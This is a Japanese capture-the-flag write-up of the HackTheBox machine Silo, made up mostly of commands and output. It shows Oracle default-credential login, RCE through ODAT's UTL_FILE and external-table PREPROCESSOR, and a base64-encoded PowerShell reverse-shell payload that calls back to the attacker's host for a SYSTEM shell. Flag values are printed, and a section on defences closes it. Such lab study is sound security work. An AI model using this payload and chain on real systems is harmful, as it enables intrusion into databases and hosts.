HackTheBox: Silo — 全実行コマンド・実行結果レポート
Nmap スキャン
80/135/139/445/1521/5985/47001/RPC
→
80/135/139/445/1521/5985/47001/RPC
Oracle既定資格情報
scott/tiger @ SID:XE
→
scott/tiger @ SID:XE
javaモジュール不可を確認
ORA-29538: Java not installed
→
ORA-29538: Java not installed
UTL_FILE + externaltable
PREPROCESSOR悪用ブラインドRCE
→
PREPROCESSOR悪用ブラインドRCE
PowerShellリバースシェル
nt authority\system 即時取得
→
nt authority\system 即時取得
user.txt ✓ (Phineas)
→
root.txt ✓ (同一SYSTEM権限)
PHASE 1
偵察 (Reconnaissance)
ポートスキャン & バージョン検出
BASH
nmap -Pn -sV -p 80,135,139,445,1521,3389,5985 --max-retries 2 --host-timeout 30s 10.129.60.122
RESULT
PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 8.5 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 443/tcp closed https 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds 1521/tcp open oracle-tns Oracle TNS listener 11.2.0.2.0 (unauthorized) 3389/tcp closed ms-wbt-server 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
BASH
nmap -sV -sC -p 80,135,139,445,1521,5985,47001,49152-49162 10.129.60.122
RESULT
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 8.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: IIS Windows Server
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1521/tcp open oracle-tns Oracle TNS listener 11.2.0.2.0 (unauthorized)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49152-49162/tcp open msrpc / oracle-tns (requires service name)
| smb2-security-mode:
| 3.0.2:
|_ Message signing enabled but not required
🚨
重要発見: ポート 1521 に Oracle TNS リスナーが稼働している。
SMB(445)は署名必須ではなく、5985(WinRM)も開いているが、まずは
Oracle データベースサーバーへの直接攻撃が本命の侵入経路になる。
IIS(80)は静的な既定ページのみで目立った手掛かりはない。
PHASE 2
ODAT による Oracle SID / 資格情報の特定
SID / 資格情報を総当りする前に、既定値をまず直接検証する
NOTE
ODAT (Oracle Database Attack Tool) には sidguesser / passwordguesser という
総当りモジュールがあるが、本機の SID ("XE") と資格情報 ("scott/tiger") は
それぞれのデフォルト候補リスト(sids.txt 748件・oracle_default_userpass.txt
568件)の末尾付近に位置するため、VPN越しの通信遅延(往復200ms前後)を
踏まえると総当りには数分〜十数分かかる。さらに ODAT の passwordguesser には
「同一ユーザー名を一度でも試すと対話確認プロンプトを出す」仕様があり、
非対話実行では EOFError で異常終了することもある。
Oracle Express Edition の SID は "XE" が既定であり、scott/tiger は
Oracle の実質標準デモアカウント(広く公知)である。まずこの組み合わせを
軽量な utlfile --test-module で直接検証し、通れば総当りを省略する。
BASH
odat utlfile -s 10.129.60.122 -p 1521 -d XE -U scott -P tiger --sysdba --test-module
RESULT
[1] (10.129.60.122:1521): Test if the UTL_FILE library can be used
[1.1] UTL_FILE library ?
[+] OK
✅
認証成功。 SID
XE / 資格情報 scott/tiger(Oracle デモアカウント
の既定値)でそのまま接続できることを確認した。総当りは不要。
PHASE 3
RCE 経路の選定 — javaモジュールは不可、externaltableで代替
javaモジュール (OJVM経由RCE) を試す — 失敗
NOTE
Oracle サービス自体が NT AUTHORITY\SYSTEM で稼働している構成では、 ODAT の java モジュール(Oracle JVM 上の Java ストアドプロシージャ経由で Runtime.exec() を呼び出し標準出力を直接取得する手法)が最も手軽な RCE 経路になる。まずこれを試す。
BASH
odat java -s 10.129.60.122 -p 1521 -d XE -U scott -P tiger --exec whoami
RESULT
[1] (10.129.60.122:1521): Execute the `whoami` on the 10.129.60.122 server
[-] Impossible to use the JAVA library to execute a system command: `ORA-29538: Java not installed`
⚠️
javaモジュールは使用不可。 この Oracle インストールには Java オプションが
導入されていない(
ORA-29538)。よくある walkthrough は java モジュールの
直接 RCE を前提にしているが、本機では通用しないため代替経路が必要。
利用可能なモジュールを個別に確認する
NOTE
odat all で全モジュールを一括診断すると、途中の「ユーザー名=パスワード」 総当りステップ(userlikepwd)で対話確認プロンプトが出て非対話環境では 異常終了するため、必要なモジュールだけを個別に --test-module で確認する。
BASH
odat utlfile -s 10.129.60.122 -p 1521 -d XE -U scott -P tiger --sysdba --test-module odat externaltable -s 10.129.60.122 -p 1521 -d XE -U scott -P tiger --sysdba --test-module
RESULT
[1.1] UTL_FILE library ? [+] OK [1.1] External table to read files ? [+] OK [1.2] External table to execute system commands ? [+] OK
ℹ️
UTL_FILE(ファイル書き込み)と externaltable の PREPROCESSOR 悪用による
システムコマンド実行が両方とも有効。この2つを組み合わせて RCE を成立させる。
externaltable の仕組みと制約
NOTE
externaltable モジュールは、Oracle の外部表 (ORGANIZATION EXTERNAL) 機能の PREPROCESSOR 句を悪用する。指定したディレクトリに既に存在するファイルを 「行データを生成する前処理プログラム」として実行させる仕組みで、 odat externaltable --exec <リモートのディレクトリ> <実行するファイル名> という形で「そのディレクトリに既にあるファイル」を実行するだけであり、 java モジュールのように任意コマンド文字列を直接渡して標準出力を そのまま受け取ることはできない(ブラインド実行)。 そのため、まず UTL_FILE でリバースシェルを起動するペイロード (.bat ファイル)をディスク上に書き込み、その後 externaltable の PREPROCESSOR 機構で「そのファイルを実行させる」という二段構えにする。
PHASE 4
UTL_FILE + externaltable でリバースシェル取得 & user.txt
PowerShell リバースシェルを base64 (-EncodedCommand) で用意
NOTE
.bat ファイルに PowerShell の生スクリプトをそのまま書くと、cmd.exe の
バッチ行解析が特殊文字(例: ForEach-Object のエイリアス "%{...}" の "%")
を変数展開記号と誤認して壊してしまう。実際に最初の試行では以下のエラーで
失敗した:
ORA-29913: ... KUP-04095: preprocessor command
C:\Users\Public\silo_shell.bat encountered error "At line:1 char:109 ..."
対策として、PowerShell スクリプトを UTF-16LE + base64 エンコードし、
"powershell -enc <base64>" 形式で呼び出す(-EncodedCommand)。
これにより cmd.exe のバッチ解析を経由する特殊文字が一切なくなる。
PYTHON (ペイロード生成)
import base64
ps = (
"$c=New-Object System.Net.Sockets.TCPClient('10.10.15.200',4444);"
"$s=$c.GetStream();[byte[]]$b=0..65535|ForEach-Object{0};"
"while(($i=$s.Read($b,0,$b.Length)) -ne 0){"
"$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);"
"$sb=(iex $d 2>&1 | Out-String);"
"$sb2=$sb+'PS '+(pwd).Path+'> ';"
"$sbt=([text.encoding]::ASCII).GetBytes($sb2);"
"$s.Write($sbt,0,$sbt.Length);$s.Flush()};$c.Close()"
)
b64 = base64.b64encode(ps.encode("utf-16-le")).decode()
with open("silo_shell.bat", "w", newline="\r\n") as f:
f.write(f"@echo off\npowershell -nop -w hidden -enc {b64}\n")
UTL_FILE でペイロードを C:\Users\Public に書き込む
BASH
odat utlfile -s 10.129.60.122 -p 1521 -d XE -U scott -P tiger --sysdba \ --putFile 'C:\Users\Public' silo_shell.bat ./silo_shell.bat
RESULT
[1] (10.129.60.122:1521): Put the ./silo_shell.bat local file in the C:\Users\Public folder like silo_shell.bat on the 10.129.60.122 server
[+] The silo_shell.bat file was created on the C:\Users\Public directory on the 10.129.60.122 server
ℹ️
C:\Users\Public は全ローカルアカウントから書き込み・実行が可能な既定ディレクトリで、
UTL_FILE の書き込み先として都合が良い。
リスナー起動 & externaltable でペイロードをトリガー
BASH
# ターミナル1: リバースシェル用リスナー nc -lvnp 4444 # ターミナル2: externaltable の PREPROCESSOR 機構で silo_shell.bat を実行させる # (この呼び出しはシェルが張られている間ブロックし続けるためバックグラウンドで実行) odat externaltable -s 10.129.60.122 -p 1521 -d XE -U scott -P tiger --sysdba \ --exec 'C:\Users\Public' silo_shell.bat
RESULT (nc リスナー側)
listening on [any] 4444 ... connect to [10.10.15.200] from (UNKNOWN) [10.129.60.122] 49166 nt authority\system PS C:\oraclexe\app\oracle\product\11.2.0\server\DATABASE>
✅
シェル取得成功! Oracle サービス自体が
NT AUTHORITY\SYSTEM で稼働しているため、
RCE成立と同時に最上位権限のシェルが得られる。追加の権限昇格は一切不要。
ユーザー列挙 & user.txt 取得
BASH
PS> Get-ChildItem C:\Users -Name
RESULT
.NET v2.0
.NET v2.0 Classic
.NET v4.5
.NET v4.5 Classic
Administrator
Classic .NET AppPool
Phineas
Public
BASH
PS> Get-Content "C:\Users\Phineas\Desktop\user.txt" -ErrorAction SilentlyContinue
RESULT
d7daf4964dd31750a89f284ba9605969
user.txt — Phineas
d7daf4964dd31750a89f284ba9605969
PHASE 5
root.txt 取得 — 同一 SYSTEM 権限を再利用
追加の権限昇格は不要
NOTE
4-3 で確立したシェルは既に nt authority\system であり、Windows上で 最上位の権限を持つ。Rainbow (UACバイパスが必要) や一般的な Windows box とは異なり、 Oracle サービスのサービスアカウント設定に起因する設計上の欠陥により、 DBの弱資格情報を突いた時点でホストの最上位権限が直接手に入る。 そのため Phase 4 と全く同じシェル・同じコマンド体系で root.txt を読むだけでよい。
BASH
PS> whoami PS> Get-Content "C:\Users\Administrator\Desktop\root.txt" -ErrorAction SilentlyContinue
RESULT
nt authority\system b2a1e2274ade3caca7f15f381cc508de
root.txt — Administrator@SILO
b2a1e2274ade3caca7f15f381cc508de
トラブルシューティング: PREPROCESSOR 実行が途中で切れる場合
NOTE
externaltable の SELECT クエリはプリプロセッサの標準出力を外部表の行データとして パースしようとするため、PowerShell がエラーストリームに CLIXML 形式の データ("#< CLIXML" で始まる)を出力すると、Oracle 側がパース不能と判断して プリプロセッサの子プロセス(cmd.exe → powershell.exe)を早期に強制終了する ことがある。これによりリバースシェルの接続が数コマンド分のやり取りの後に 唐突に切れる場合がある。 対策: 複数回に分けてコマンドを送るのではなく、必要な処理(whoami・ ユーザー列挙・両フラグの読み取り)をセミコロン区切りで1回のコマンドラインに まとめて送信し、接続が生きている短い時間内に全結果を回収する。
BASH
PS> whoami; Get-ChildItem C:\Users -Name; `
Get-Content "C:\Users\Phineas\Desktop\user.txt" -ErrorAction SilentlyContinue; `
Get-Content "C:\Users\Administrator\Desktop\root.txt" -ErrorAction SilentlyContinue
RESULT
nt authority\system .NET v2.0 .NET v2.0 Classic .NET v4.5 .NET v4.5 Classic Administrator Classic .NET AppPool Phineas Public d7daf4964dd31750a89f284ba9605969 b2a1e2274ade3caca7f15f381cc508de
✅
1回の送信に集約することで、接続が短時間で切れる場合でも両フラグを確実に回収できた。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — Phineas
d7daf4964dd31750a89f284ba9605969
root.txt — Administrator@SILO
b2a1e2274ade3caca7f15f381cc508de
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| Oracle既定資格情報 | Oracle TNS listener (1521, SID: XE) | DBへの認証済みアクセス | High | ODAT で SID を特定し、scott/tiger(Oracleデモアカウントの既定値)でログイン |
| UTL_FILE + external table PREPROCESSOR RCE | Oracle Database (SYSTEM権限で稼働) | リモートコード実行(NT AUTHORITY\SYSTEM) | Critical | UTL_FILEでリバースシェル用.batを書き込み、external tableのPREPROCESSOR句で実行させブラインドRCE |
| 過剰なサービス権限 | Oracle Windows サービスアカウント | 権限昇格不要で即SYSTEM | High | Oracleサービス自体がSYSTEMで稼働しているため、DB侵害=ホスト完全掌握となる設計上の欠陥 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap バージョン・スクリプトスキャン | 80/135/139/445/1521/5985/47001、Oracle TNS 11.2.0.2.0 検出 |
| 2 | 資格情報特定 | ODAT utlfile –test-module による直接検証 | SID: XE、資格情報: scott/tiger |
| 3 | RCE経路選定 | java モジュール失敗確認 → externaltable/utlfile を個別テスト | java: ORA-29538で不可、externaltable+utlfile: 利用可能 |
| 4 | エクスプロイト | base64エンコードPowerShellリバースシェル + UTL_FILE書込 + external table PREPROCESSOR実行 | user.txt 取得(nt authority\system シェル) |
| 5 | フラグ取得 | 同一SYSTEMシェルでGet-Content実行 | root.txt 取得(追加の権限昇格なし) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| Oracle データベースにデモアカウント (scott/tiger) の既定パスワードが残存 | 本番環境ではデモ/サンプルアカウントを削除し、既定パスワードを必ず変更する。Oracle既定資格情報リストを用いた定期監査を実施する。 |
| PL/SQLパッケージ (UTL_FILE) や外部表機能が過剰な権限で一般ユーザーに開放されている | UTL_FILE・DBMS_SCHEDULER・CTXSYSなど強力なパッケージへのPUBLIC権限付与を見直し、最小権限の原則を徹底する。外部表のPREPROCESSOR句の使用を制限・監視する。 |
| Oracle Windows サービスが NT AUTHORITY\SYSTEM で稼働しており、DB侵害が即ホスト完全掌握につながる | Oracle サービスは専用の低権限サービスアカウントで稼働させ、SYSTEM権限を付与しない。DBサーバーとアプリケーションサーバーのネットワーク分離も有効。 |
| アウトバウンド接続(DBサーバーから任意の外部ホストへのTCP接続)が制限されていない | DBサーバーからのアウトバウンド通信をファイアウォールで必要最小限に制限し、未知の宛先へのリバースシェル接続を検知・遮断する。 |

